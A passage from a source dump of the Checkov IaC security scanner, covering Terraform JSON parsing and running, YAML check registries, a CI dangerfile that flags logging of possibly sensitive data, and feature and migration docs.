template_lines is None: return None, None return template, template_lines def loads(file_path: Path) -> tuple[dict[str, Any], list[tuple[int, str]]]: """Loads the given JSON file with line numbers""" content = read_file_with_any_encoding(file_path=file_path) file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))] template: "dict[str, Any] | list[dict[str, Any]]" = loader.loads(content=content) if not template: template = {} if isinstance(template, list): template = template[0] if template: template = prepare_definition(template) return template, file_lines def prepare_definition(definition: dict[str, Any]) -> dict[str, Any]: definition_new: dict[str, Any] = {} for block_type, blocks in definition.items(): if block_type == COMMENT_FIELD_NAME or block_type in LINE_FIELD_NAMES: continue definition_new[block_type] = handle_block_type(block_type=block_type, blocks=blocks) return definition_new def handle_block_type(block_type: str, blocks: dict[str, Any]) -> list[dict[str, Any]]: result: list[dict[str, Any]] = [] for block_name, config in blocks.items(): if block_name == COMMENT_FIELD_NAME or block_name in LINE_FIELD_NAMES: continue if block_type in (BlockType.RESOURCE, BlockType.DATA): # data/resource have an extra nested level resource_type -> resource_name -> resource_config for resource_name, resource_config in config.items(): if resource_name in IGNORE_FILED_NAMES: continue result.append({block_name: {resource_name: hclify(obj=resource_config)}}) elif block_type == BlockType.PROVIDER: # provider are stored as a list, which we need to move one level higher to add the name for provider_config in config: result.append({block_name: hclify(obj=provider_config)}) elif block_type == BlockType.LOCALS: # a local block is stored as single dict return [hclify(obj=blocks)] else: result.append({block_name: hclify(obj=config)}) return result def hclify( obj: dict[str, Any], conf: dict[str, Any] | None = None, parent_key: str | None = None, ) -> dict[str, list[Any]]: ret_dict = {} if not isinstance(obj, dict): raise Exception("this method receives only dicts") for key, value in obj.items(): if key == COMMENT_FIELD_NAME: # don't hclify the comment block ret_dict[key] = value elif _is_simple_type(value) or _is_list_of_simple_types(value): if key in IGNORE_FILED_NAMES: ret_dict[key] = value elif parent_key == "tags": ret_dict[key] = value else: ret_dict[key] = _clean_simple_type_list([value]) elif _is_list_of_dicts(value): child_list = [] conf_val = conf.get(key, []) if conf else [] if not isinstance(conf_val, list): # this occurs, when a resource in the current state has no value for that argument conf_val = [conf_val] for internal_val, internal_conf_val in itertools.zip_longest(value, conf_val): if isinstance(internal_val, dict): child_list.append(hclify(internal_val, internal_conf_val, parent_key=key)) if key == "tags": ret_dict[key] = [child_list] else: ret_dict[key] = child_list elif isinstance(value, dict): child_dict = hclify(value, parent_key=key) if parent_key == "tags": ret_dict[key] = child_dict else: ret_dict[key] = [child_dict] return ret_dict def _is_simple_type(obj: Any) -> bool: if obj is None: return True if isinstance(obj, SIMPLE_TYPES): return True return False def _is_list_of_simple_types(obj: Any) -> bool: if not isinstance(obj, list): return False for i in obj: if not _is_simple_type(i): return False return True def _is_list_of_dicts(obj: Any) -> bool: if not isinstance(obj, list): return False for i in obj: if isinstance(i, dict): return True return False def _clean_simple_type_list(value_list: list[Any]) -> list[Any]: """ Given a list of simple types return a cleaned list of simple types. Converts booleans that are input as strings back to booleans to maintain consistent expectations for later evaluation. Sometimes Terraform Plan will output Map values as strings regardless of boolean input. """ for i in range(len(value_list)): if isinstance(value_list[i], str): lower_case_value = value_list[i].lower() if lower_case_value == "true": value_list[i] = True if lower_case_value == "false": value_list[i] = False return value_list ================================================ FILE: checkov/terraform_json/runner.py ================================================ from __future__ import annotations import logging import os from typing import TYPE_CHECKING, Any from typing_extensions import TypeAlias # noqa[TC002] from checkov.common.bridgecrew.check_type import CheckType from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.output.graph_record import GraphRecord from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.secrets import omit_secret_value_from_checks from checkov.runner_filter import RunnerFilter from checkov.terraform.base_runner import BaseTerraformRunner from checkov.terraform.checks.resource.registry import resource_registry from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph from checkov.terraform_json.utils import get_scannable_file_paths, create_definitions if TYPE_CHECKING: from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.terraform.graph_manager import TerraformGraphManager from checkov.common.typing import LibraryGraphConnector, _CheckResult _TerraformJsonContext: TypeAlias = "dict[str, dict[str, Any]]" _TerraformJsonDefinitions: TypeAlias = "dict[str, dict[str, Any]]" logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) class TerraformJsonRunner(BaseTerraformRunner[_TerraformJsonDefinitions, _TerraformJsonContext, str]): check_type = CheckType.TERRAFORM_JSON # noqa: CCE003 # a static attribute def __init__( self, graph_class: type[TerraformLocalGraph] = TerraformLocalGraph, graph_manager: TerraformGraphManager | None = None, db_connector: LibraryGraphConnector | None = None, external_registries: list[BaseRegistry] | None = None, source: str = GraphSource.TERRAFORM, ) -> None: super().__init__( graph_class=graph_class, graph_manager=graph_manager, db_connector=db_connector, external_registries=external_registries, source=source, ) self.file_extensions = (".json",) # just '.json' not 'tf.json' otherwise it will be filtered out self.graph_registry = get_graph_checks_registry(check_type=CheckType.TERRAFORM) self.definitions: _TerraformJsonDefinitions = {} self.definitions_raw: "dict[str, list[tuple[int, str]]]" = {} self.context: _TerraformJsonContext = {} self.root_folder: str | None = None def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() report = Report(self.check_type) self.root_folder = root_folder if not self.definitions or not self.context: file_paths = get_scannable_file_paths( root_folder=root_folder, files=files, excluded_paths=runner_filter.excluded_paths ) if not file_paths: return report self.definitions, self.definitions_raw, parsing_errors = create_definitions(file_paths) report.add_parsing_errors(parsing_errors) if external_checks_dir: for directory in external_checks_dir: resource_registry.load_external_checks(directory) self.graph_registry.load_external_checks(directory) # TODO: create function 'build_definitions_context()' # self.context = build_definitions_context(definitions=self.definitions, definitions_raw=self.definitions_raw) logger.info("Creating Terraform JSON graph") local_graph = self.graph_manager.build_graph_from_definitions(self.definitions) logger.info("Successfully created Terraform JSON graph") self.graph_manager.save_graph(local_graph) self.pbar.initiate(len(self.definitions)) # run Python checks self.add_python_check_results(report=report, runner_filter=runner_filter) # run graph checks self.add_graph_check_results(report=report, runner_filter=runner_filter) return report def add_python_check_results(self, report: Report, runner_filter: RunnerFilter) -> None: """Adds Python check results to given report""" for full_file_path, definition in self.definitions.items(): scanned_file = f"/{os.path.relpath(full_file_path, self.root_folder)}" logger.debug(f"Scanning file: {scanned_file}") self.pbar.set_additional_data({"Current File Scanned": scanned_file}) for block_type in definition.keys(): if block_type in self.block_type_registries: self.run_block( entities=definition[block_type], definition_context={}, full_file_path=full_file_path, root_folder=self.root_folder, report=report, scanned_file=scanned_file, block_type=block_type, runner_filter=runner_filter, ) self.pbar.update() self.pbar.close() def add_graph_check_results(self, report: Report, runner_filter: RunnerFilter) -> None: """Adds YAML check results to given report""" checks_results = self.run_graph_checks_results( runner_filter=runner_filter, report_type=CheckType.TERRAFORM_JSON ) for check, check_results in checks_results.items(): for check_result in check_results: entity = check_result["entity"] entity_file_path = entity[CustomAttributes.FILE_PATH] clean_check_result: "_CheckResult" = { "result": check_result["result"], "evaluated_keys": check_result["evaluated_keys"], } file_code_lines = self.definitions_raw[entity_file_path] start_line = entity[START_LINE] end_line = entity[END_LINE] scanned_file = f"/{os.path.relpath(entity_file_path, self.root_folder)}" record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=clean_check_result, code_block=file_code_lines[start_line - 1 : end_line], file_path=scanned_file, file_line_range=[start_line, end_line], resource=entity[CustomAttributes.ID], check_class=check.__class__.__module__, file_abs_path=str(entity_file_path), evaluations=None, severity=check.severity, ) if self.breadcrumbs: breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(record.resource) if breadcrumb: record = GraphRecord(record, breadcrumb) record.set_guideline(guideline=check.guideline) report.add_record(record=record) def run_block( self, entities: list[dict[str, Any]], definition_context: _TerraformJsonContext, full_file_path: str, root_folder: str | None, report: Report, scanned_file: str, block_type: str, runner_filter: RunnerFilter | None = None, entity_context_path_header: str | None = None, module_referrer: str | None = None, ) -> None: """Run block specific checks""" runner_filter = runner_filter or RunnerFilter() registry = self.block_type_registries[block_type] if registry: for entity in entities: _, entity_name, entity_config = registry.extract_entity_details(entity) start_line = entity_config[START_LINE] end_line = entity_config[END_LINE] entity_id = f"{block_type}.{entity_name}" entity_lines_range = [start_line, end_line] entity_code_lines = self.definitions_raw[full_file_path][start_line - 1 : end_line] results = registry.scan(scanned_file, entity, [], runner_filter, report_type=CheckType.TERRAFORM_JSON) for check, check_result in results.items(): censored_code_lines = omit_secret_value_from_checks( check=check, check_result=check_result, entity_code_lines=entity_code_lines, entity_config=entity_config, resource_attributes_to_omit=runner_filter.resource_attr_to_omit, ) record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=check_result, code_block=censored_code_lines, file_path=scanned_file, file_line_range=entity_lines_range, resource=entity_id, evaluations=None, check_class=check.__class__.__module__, file_abs_path=full_file_path, severity=check.severity, details=check.details, ) record.set_guideline(guideline=check.guideline) report.add_record(record=record) def get_entity_context_and_evaluations(self, entity: dict[str, Any]) -> dict[str, Any] | None: # not used pass ================================================ FILE: checkov/terraform_json/utils.py ================================================ from __future__ import annotations import logging import re from collections.abc import Collection from pathlib import Path from typing import Any from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.terraform_json.parser import parse TF_JSON_POSSIBLE_FILE_ENDINGS = (".tf.json",) logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) def get_scannable_file_paths( root_folder: str | Path | None = None, files: list[str] | None = None, excluded_paths: list[str] | None = None ) -> set[Path]: """Finds Terraform JSON files""" file_paths: set[Path] = set() if root_folder: root_path = Path(root_folder) file_paths = { file_path for file_ending in TF_JSON_POSSIBLE_FILE_ENDINGS for file_path in root_path.rglob(f"*{file_ending}") if file_path.is_file() } if excluded_paths: compiled = [re.compile(p.replace(".terraform", r"\.terraform")) for p in excluded_paths] file_paths = { file_path for file_path in file_paths if not any(pattern.search(str(file_path)) for pattern in compiled) } if files: for file in files: if file.endswith(TF_JSON_POSSIBLE_FILE_ENDINGS): file_paths.add(Path(file)) return file_paths def create_definitions( file_paths: Collection[Path], ) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]], list[str]]: """Creates dict objects and code lines for given files""" logger.info(f"Start to parse {len(file_paths)} files") definitions: "dict[str, dict[str, Any]]" = {} definitions_raw: "dict[str, list[tuple[int, str]]]" = {} parsing_errors: "list[str]" = [] for file_path in file_paths: template, file_lines = parse(file_path) if template and file_lines: file_path_str = str(file_path) definitions[file_path_str] = template definitions_raw[file_path_str] = file_lines else: parsing_errors.append(str(file_path.resolve())) logging.info(f"Successfully parsed {len(definitions)} files") return definitions, definitions_raw, parsing_errors ================================================ FILE: checkov/version.py ================================================ version = '3.2.510' ================================================ FILE: checkov/yaml_doc/__init__.py ================================================ ================================================ FILE: checkov/yaml_doc/base_registry.py ================================================ from __future__ import annotations import logging from typing import Any, Dict, List, cast from checkov.common.checks.base_check import BaseCheck from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.models.enums import CheckResult from checkov.common.typing import _SkippedCheck, _ScannerCallableAlias from checkov.runner_filter import RunnerFilter from checkov.yaml_doc.enums import BlockType import jmespath STARTLINE_MARK = "__startline__" ENDLINE_MARK = "__endline__" class Registry(BaseCheckRegistry): def __init__(self, report_type: str) -> None: super().__init__(report_type=report_type) self._scanner: dict[str, _ScannerCallableAlias] = { BlockType.ARRAY: self._scan_yaml_array, BlockType.OBJECT: self._scan_yaml_object, } def _scan_yaml_array( self, scanned_file: str, check: BaseCheck, skip_infos: list[_SkippedCheck], entity: Dict[str, Any], entity_name: str, entity_type: str, results: Dict[str, Any], ) -> None: if isinstance(entity, dict): analyzed_entities = jmespath.search(entity_type, entity) if isinstance(analyzed_entities, dict): for item, item_conf in analyzed_entities.items(): if STARTLINE_MARK != item and ENDLINE_MARK != item: self.update_result( check=check, entity_configuration=cast("dict[str, Any]", item_conf), entity_name=item, entity_type=entity_type, results=results, scanned_file=scanned_file, skip_info=skip_infos[0], ) if isinstance(analyzed_entities, list): for item in analyzed_entities: if isinstance(item, str): item = self.set_lines_for_item(item) if STARTLINE_MARK != item and ENDLINE_MARK != item: skip_info = self._collect_inline_suppression_in_array(item=item, skip_infos=skip_infos) self.update_result( check, item, entity_type, entity_type, results, scanned_file, skip_info ) if isinstance(entity, list): analyzed_entities = jmespath.search(entity_type, entity) if isinstance(analyzed_entities, list): for item in analyzed_entities: if isinstance(item, str): item = self.set_lines_for_item(item) if STARTLINE_MARK != item and ENDLINE_MARK != item: skip_info = {} if skip_infos and skip_infos[0]: # multiple items could be found, so we need to skip the correct one(s) skip_info = ([skip for skip in skip_infos if item[STARTLINE_MARK] <= skip["line_number"] <= item[ENDLINE_MARK]] or [{}])[0] self.update_result( check, item, entity_type, entity_type, results, scanned_file, skip_info ) else: for item in entity: if entity_name in item: result = self.update_result( check, item[entity_name], entity_name, entity_type, results, scanned_file, skip_infos[0] ) if result == CheckResult.FAILED: break def _scan_yaml_object( self, scanned_file: str, check: BaseCheck, skip_infos: list[_SkippedCheck], entity: Dict[str, Any], entity_name: str, entity_type: str, results: Dict[str, Any], ) -> None: if entity_name in entity: self.update_result( check, entity[entity_name], entity_name, entity_type, results, scanned_file, skip_infos[0] ) def _scan_yaml_document( self, scanned_file: str, check: BaseCheck, skip_info: list[_SkippedCheck], entity: Dict[str, Any], entity_name: str, entity_type: str, results: Dict[str, Any], ) -> None: self.update_result( check, entity, entity_name, entity_type, results, scanned_file, skip_info[0] ) def _scan_yaml( self, scanned_file: str, checks: List[BaseCheck], skipped_checks: List[_SkippedCheck], runner_filter: RunnerFilter, entity: Dict[str, Any], entity_name: str, entity_type: str, results: Dict[str, Any], ) -> None: for check in checks: skip_infos: "list[_SkippedCheck]" = [{}] if isinstance(entity, dict): skip_infos = [ skip for skip in skipped_checks if skip["id"] == check.id and entity[STARTLINE_MARK] <= skip["line_number"] <= entity[ENDLINE_MARK] ] or [{}] elif isinstance(entity, list): skip_infos = [ skip for skip in skipped_checks for e in entity if skip["id"] == check.id and e[STARTLINE_MARK] <= skip['line_number'] <= e[ENDLINE_MARK] ] or [{}] else: logging.info(f"Unexpected entity type {type(entity)} for {entity}") if runner_filter.should_run_check(check=check, report_type=self.report_type): scanner = self._scanner.get(check.block_type, self._scan_yaml_document) if check.path: target = entity for p in check.path.split("."): if p.endswith("]"): ip = p.split("[") i = int(ip[1][:-1]) target = target[ip[0]][i] else: target = target[p] else: target = entity scanner( scanned_file, check, skip_infos, target, entity_name, entity_type, results, ) def scan( # type:ignore[override] # return type is different than the base class self, scanned_file: str, entity: Dict[str, Any], skipped_checks: List[_SkippedCheck], runner_filter: RunnerFilter ) -> Dict[str, Any]: results: Dict[str, Any] = {} if not entity: return results for instruction, checks in self.checks.items(): self._scan_yaml( scanned_file=scanned_file, checks=checks, skipped_checks=skipped_checks, runner_filter=runner_filter, entity=entity, entity_name=instruction, entity_type=instruction, results=results, ) if self.wildcard_checks: for wildcard_pattern, checks in self.wildcard_checks.items(): self._scan_yaml( scanned_file=scanned_file, checks=checks, skipped_checks=skipped_checks, runner_filter=runner_filter, entity=entity, entity_name=scanned_file, entity_type=wildcard_pattern, results=results, ) return results def update_result( self, check: BaseCheck, entity_configuration: dict[str, Any], entity_name: str, entity_type: str, results: Dict[str, Any], scanned_file: str, skip_info: _SkippedCheck ) -> CheckResult: check_result = self.run_check( check, entity_configuration, entity_name, entity_type, scanned_file, skip_info, ) result_key = self.get_result_key(check, entity_configuration, entity_name, entity_type, scanned_file, skip_info) result = check_result["result"] if isinstance(result, CheckResult) and result == CheckResult.SKIPPED: results[result_key] = { "check": check, "result": result, "suppress_comment": check_result["suppress_comment"], "results_configuration": entity_configuration, } return result if isinstance(result, tuple): results[result_key] = { "check": check, "result": result[0], "results_configuration": result[1], } return result[0] results[result_key] = { "check": check, "result": result, "results_configuration": entity_configuration, } return result def get_result_key(self, check: BaseCheck, entity_configuration: dict[str, Any], entity_name: str, entity_type: str, scanned_file: str, skip_info: _SkippedCheck) -> str: if isinstance(entity_configuration, dict) and STARTLINE_MARK in entity_configuration and ENDLINE_MARK in entity_configuration: return f'{entity_type}.{entity_name}.{check.id}[{entity_configuration[STARTLINE_MARK]}:{entity_configuration[ENDLINE_MARK]}]' if isinstance(entity_configuration, list): start_line = None end_line = None for sub_conf in entity_configuration: if STARTLINE_MARK in sub_conf and ENDLINE_MARK in sub_conf: subconf_startline = sub_conf[STARTLINE_MARK] sub_conf_endline = sub_conf[ENDLINE_MARK] if not start_line: start_line = subconf_startline if not end_line: end_line = sub_conf_endline if sub_conf_endline > end_line: end_line = sub_conf_endline if subconf_startline < start_line: start_line = subconf_startline if start_line and end_line: return f'{entity_type}.{entity_name}.{check.id}[{start_line}:{end_line}]' return f'{entity_type}.{entity_name}.{check.id}' def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]: # not used, but is an abstractmethod return "", "", {} def set_lines_for_item(self, item: str) -> dict[int | str, str | int] | str: if not self.definitions_raw: return item item_lines = item.rstrip().split("\n") item_dict: dict[int | str, str | int] = { idx: line for idx, line in enumerate(item_lines) } if len(item_lines) == 1: item_line = item_lines[0] for idx, line in self.definitions_raw: if item_line in line: item_dict[STARTLINE_MARK] = idx item_dict[ENDLINE_MARK] = idx return item_dict first_line, last_line = item_lines[0], item_lines[-1] for idx, line in self.definitions_raw: if first_line in line: item_dict[STARTLINE_MARK] = idx continue if last_line in line: item_dict[ENDLINE_MARK] = idx break return item_dict def _collect_inline_suppression_in_array(self, item: Any, skip_infos: list[_SkippedCheck]) -> _SkippedCheck: if skip_infos and skip_infos[0]: if isinstance(item, dict): # multiple items could be found, so we need to skip the correct one(s) skip_info = [ skip for skip in skip_infos if item[STARTLINE_MARK] <= skip["line_number"] <= item[ENDLINE_MARK] ] if skip_info: return skip_info[0] elif isinstance(item, list): # depending on the check a list of uncomplaint items can be found and need to be correctly matched for sub_item in item: if isinstance(sub_item, dict): # only one of the list items need to be matched skip_info = [ skip for skip in skip_infos if sub_item[STARTLINE_MARK] <= skip["line_number"] <= sub_item[ENDLINE_MARK] ] if skip_info: return skip_info[0] return {} # nothing found ================================================ FILE: checkov/yaml_doc/base_yaml_check.py ================================================ from __future__ import annotations from collections.abc import Iterable from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories from checkov.yaml_doc.registry import registry class BaseYamlCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], block_type: str, path: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, ) self.path = path registry.register(self) ================================================ FILE: checkov/yaml_doc/enums.py ================================================ from enum import Enum class BlockType(str, Enum): DOCUMENT = "yamldocument" OBJECT = "yamlobject" ARRAY = "yamlarray" SCALAR = "yamlscalar" ================================================ FILE: checkov/yaml_doc/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.yaml_doc.base_registry import Registry registry = Registry(CheckType.YAML) ================================================ FILE: checkov/yaml_doc/runner.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any from checkov.common.bridgecrew.check_type import CheckType from checkov.common.parsers.yaml.parser import parse from checkov.common.runners.object_runner import Runner as ObjectRunner from checkov.common.util.consts import START_LINE, END_LINE if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.typing import LibraryGraphConnector from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph from checkov.common.runners.graph_manager import ObjectGraphManager class Runner(ObjectRunner): check_type = CheckType.YAML # noqa: CCE003 # a static attribute def __init__( self, db_connector: LibraryGraphConnector | None = None, source: str = "yaml", graph_class: type[ObjectLocalGraph] | None = None, graph_manager: ObjectGraphManager | None = None, ) -> None: super().__init__( db_connector=db_connector, source=source, graph_class=graph_class, graph_manager=graph_manager, ) self.file_extensions = ['.yaml', '.yml'] def import_registry(self) -> BaseCheckRegistry: from checkov.yaml_doc.registry import registry return registry @staticmethod def _parse_file( f: str, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: return parse(f, file_content) def get_start_end_lines( self, end: int, result_config: dict[str, Any] | list[dict[str, Any]], start: int ) -> tuple[int, int]: if result_config and isinstance(result_config, list): if not isinstance(result_config[0], dict): return -1, -1 start = result_config[0]["__startline__"] - 1 end = result_config[len(result_config) - 1]["__endline__"] elif result_config and isinstance(result_config, dict): if "__startline__" not in result_config or "__endline__" not in result_config: return -1, -1 start = result_config["__startline__"] end = result_config["__endline__"] return end, start @staticmethod def resolve_sub_name(definition: dict[str, Any], start_line: int, end_line: int, tag: str) -> str: """ extract the value of the tag, that is within the line of range(start_line, end_line) >>> Runner.resolve_sub_name({"executors":{"image-executor":{"docker":[],"__startline__":8,"__endline__":11}}}, 9, 11, 'executors') 'image-executor' >>> Runner.resolve_sub_name({"jobs":{"job-name":{"docker":[],"__startline__":13,"__endline__":20}}}, 15, 16, 'jobs') 'job-name' """ if not definition: return "" tag_value = definition.get(tag) or {} for key, sub_name in tag_value.items(): if key in (START_LINE, END_LINE) or not isinstance(sub_name, dict): continue if sub_name[START_LINE] <= start_line <= end_line <= sub_name[END_LINE]: return str(key) return "" @staticmethod def resolve_step_name(job_definition: dict[str, Any], start_line: int, end_line: int) -> str: """ extract the step name from the given job within the line of range(start_line, end_line) >>> Runner.resolve_step_name({"steps":["checkout",{}],"__startline__":42,"__endline__":49}, 48, 49) '[1](checkout)' >>> Runner.resolve_step_name({"runs-on":"ubuntu-latest","steps":[{"uses":"actions/checkout@v2","__startline__":22,"__endline__":23}]}, 22, 23) '[1]' >>> Runner.resolve_step_name({"runs-on":"ubuntu-latest","steps":[{"name": "ab","__startline__":22,"__endline__":23}, {"name":"step_name","__startline__":23,"__endline__":33}]}, 23, 33) '[2](step_name)' """ if not job_definition: return "" for idx, step in enumerate([step for step in job_definition.get('steps') or [] if step]): if isinstance(step, str): return f"[{idx + 1}]({step})" elif isinstance(step, dict): if step[START_LINE] <= start_line <= end_line <= step[END_LINE]: name = step.get('name') return f"[{idx + 1}]({name})" if name else f"[{idx + 1}]" return "" @staticmethod def resolve_image_name(image_definition: dict[str, Any], start_line: int, end_line: int) -> str: """ extract the image name from the given job definition within the line of range(start_line, end_line) >>> Runner.resolve_image_name({"docker":[{"image":"mongo:2.6.8","__startline__":15,"__endline__":16}]}, 15, 16) '[1](mongo:2.6.8)' """ if not image_definition: return "" for idx, step in enumerate([step for step in image_definition.get('docker') or [] if step]): if isinstance(image_definition.get('docker'), dict): if step == 'image': return f"[{idx + 1}]({image_definition['docker'][step]})" if isinstance(step, str): return f"[{idx + 1}]({step})" elif isinstance(step, dict): if step[START_LINE] <= start_line <= end_line <= step[END_LINE]: name = step.get('image') return f"[{idx + 1}]({name})" if name else f"[{idx + 1}]" return "" ================================================ FILE: dangerfile.ts ================================================ const { danger, fail, schedule, warn } = require('danger'); const IGNORE_VAR = [ 'key', 's3_key', 's3_file_key', 'local_file_path', 'self.s3_bucket', 'e', 'error', 'str(e)', 'path', 'customer_name', 'name', 'self.framework', 'framework', 'self.graph_framework', 'file_path', 'zip_path', 'object_path', 'definitions_context_object_path', 'root_folder', 'bucket', 'source_id', 'num_vertices', 'num_edges', 'file_name', 'tmp_folder', 'self.bucket_name', 'repository_zip_path', 'file_size_in_mb', 'repository_zip_path', 'event', 'block_type', 'block_name', 'graph_framework', 'custom_policies', 'checkov_check_id', 'start_time', 'datetime.now()', 'framework.name', 'str(framework)', 'entity_id', 'full_file_path' ]; const START_END_IGNORE = [ 'path', 'len(', 'enable_', 'datetime', 'key', 'id', '_ids', ]; const LOGGING_LEVEL_PY = [ 'logging.warning', 'logging.debug', 'logging.info', 'logging.error', 'logging.warn', 'logger.info', 'logger.warning', 'logger.debug', 'logger.error', 'logger.warn', 'self.logger.info', 'self.logger.warning', 'self.logger.debug', 'self.logger.error', 'self.logger.warn', ]; const FIND_LOGGING_LEVEL_PY = new RegExp(`(?:${LOGGING_LEVEL_PY.join('|')})`, 'g'); const VAR_IN_LOG = '\\{([^}]*)\\}'; const VAR_IN_FUNC = '\\((.*?)\\)'; const PY_MASK_STR = 'extra={"mask": True}' const FIND_CODE_INSIDE_BRACES_OR_AFTER_COMMA = /^.*\{[^}]*code[^}]*\}.*|.*,.*code.*/; const FSTRING_PATTERN = /f(["'])(.*?{.*?}.*?)(\1)/; const SUPPORTED_EXTENSIONS = ['.py']; const EXCLUDED_FILES = ['__init__.py', 'dangerfile.ts']; const IGNORE_COMMENT = '# danger:ignore' function varMayContainData(varString) { if (IGNORE_VAR.includes(varString)) return false; if (START_END_IGNORE.some((ignore) => varString.trim().startsWith(ignore) || varString.trim().endsWith(ignore))) return false; if (varString.includes('json.dump')) { const varInDump = varString.match(/\((.*?)\)/)?.[1]; if (varInDump && IGNORE_VAR.includes(varInDump)) { return false; } } return true; } async function failIfLoggingLineContainsSensitiveData() { const dangerousFiles = []; const changedFiles = danger.git.modified_files.concat(danger.git.created_files); const shouldProcessFile = (filePath) => { const fileExtension = filePath.substring(filePath.lastIndexOf('.')); if (SUPPORTED_EXTENSIONS.includes(fileExtension)) { const fileName = filePath.substring(filePath.lastIndexOf('/') + 1); if (!EXCLUDED_FILES.includes(fileName)) return true; } return false; }; const processFile = async (filePath) => { if (!shouldProcessFile(filePath)) return; try { const fileDiff = await danger.git.diffForFile(filePath); const addedLinesLength = fileDiff.added.split('\n'); const removedLinesLength = fileDiff.removed.split('\n'); const allLines = [...addedLinesLength, ...removedLinesLength]; for (let line of allLines) { if (FIND_LOGGING_LEVEL_PY.test(line) && FSTRING_PATTERN.test(line) && !line.includes(PY_MASK_STR) && !line.includes(IGNORE_COMMENT)) { if (FIND_CODE_INSIDE_BRACES_OR_AFTER_COMMA.test(line)) { const varsInLog = line.match(VAR_IN_LOG) || line.match(VAR_IN_FUNC)?.[1].split(',').slice(1) || []; for (const varString of varsInLog) { if (varMayContainData(varString)) { dangerousFiles.push(`file path:${filePath}, line: ${line}`); break; } } } } } } catch (e) { console.error(`Error reading file: ${filePath}, Error message: ${e}`); } }; await Promise.all(changedFiles.map(async (filePath) => processFile(filePath))); if (dangerousFiles.length > 0) { const failureMessage = 'Logging lines with sensitive data detected, please review the following files:'; const fileList = dangerousFiles.join('\n'); fail(`${failureMessage}\n${fileList}`); } } schedule(failIfLoggingLineContainsSensitiveData); async function alertPublicInterfaces() { let changedFiles = danger.git.modified_files || []; for (const changedFile of changedFiles) { if (changedFile.endsWith("report_types.py")) { fail("You've changed `report_types.py` file, that contains the contract for checkov input and output. Make sure to stay backwards compatible.") } if (changedFile.endsWith("report.py") && !changedFile.includes("test")) { fail("You've changed `report.py` file, that contains the contract for checkov input and output. Make sure to stay backwards compatible.") } } } schedule(alertPublicInterfaces) ================================================ FILE: docs/1.Welcome/Feature Descriptions.md ================================================ --- layout: default published: true title: Feature Descriptions nav_order: 4 --- # Feature Descriptions With Checkov you can: * Run a variety of scan types * Enable Checkov to run as part of your CI/CD workflow * Create and contribute custom Checkov policies ## Running Checkov With Checkov you can scan a repository, branch, folder, or a single file with attribute-based misconfigurations or connection state errors. See [CLI Command Reference](https://www.checkov.io/2.Basics/CLI%20Command%20Reference.html). When running Checkov, you can also: * [Review scan results](https://www.checkov.io/2.Basics/Reviewing%20Scan%20Results.html) * [Suppress or skip](https://www.checkov.io/2.Basics/Suppressing%20and%20Skipping%20Policies.html) * [Scan credentials and secrets](https://www.checkov.io/2.Basics/Scanning%20Credentials%20and%20Secrets.html) * [Scan Kubernetes clusters](https://www.checkov.io/4.Integrations/Kubernetes.html) * [Scan Terraform plan output and 3rd party modules](https://www.checkov.io/7.Scan%20Examples/Terraform%20Plan%20Scanning.html) ## Integrating with CI/CD In addition to integrating with your code repository, Checkov can also integrate with your automated build pipeline via CI/CD providers. When your build tests run, Checkov will scan your infrastructure as code files for misconfigurations and you can review the output directly in your CI pipeline. * [Integrate with Jenkins](https://www.checkov.io/4.Integrations/Jenkins.html) * [Integrate with Bitbucket Cloud Pipelines](https://www.checkov.io/4.Integrations/Bitbucket%20Cloud%20Pipelines.html) * [Integrate with Github Actions](https://www.checkov.io/4.Integrations/GitHub%20Actions.html) * [Integrate with Gitlab CI](https://www.checkov.io/4.Integrations/GitLab%20CI.html) ## Custom Policies * [Create custom Python attribute policies](https://www.checkov.io/3.Custom%20Policies/Python%20Custom%20Policies.html) * [Create custom YAML attribute and composite policies](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html) * [Custom policy examples](https://www.checkov.io/3.Custom%20Policies/Examples.html) * [Share custom policies across repos](https://www.checkov.io/3.Custom%20Policies/Sharing%20Custom%20Policies.html) ================================================ FILE: docs/1.Welcome/Migration.md ================================================ --- layout: default published: true title: Migration nav_order: 5 --- # Migration - v2 to v3 With v3 not only new features were added, but following behaviour changed or was completely removed. ## Remove of "level up" Since Bridgecrew standalone edition will be shutting down at the [end of 2023](https://www.paloaltonetworks.com/services/support/end-of-life-announcements) we removed the "level up" flow, which is triggered by just running `checkov` without any flag. ## Python custom checks If you are still using the old syntax of running your custom code ```python from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class Example(BaseResourceCheck): ... def scan_resource_conf(self, conf: dict[str, list[Any]], entity_type: str) -> CheckResult: ... ``` then 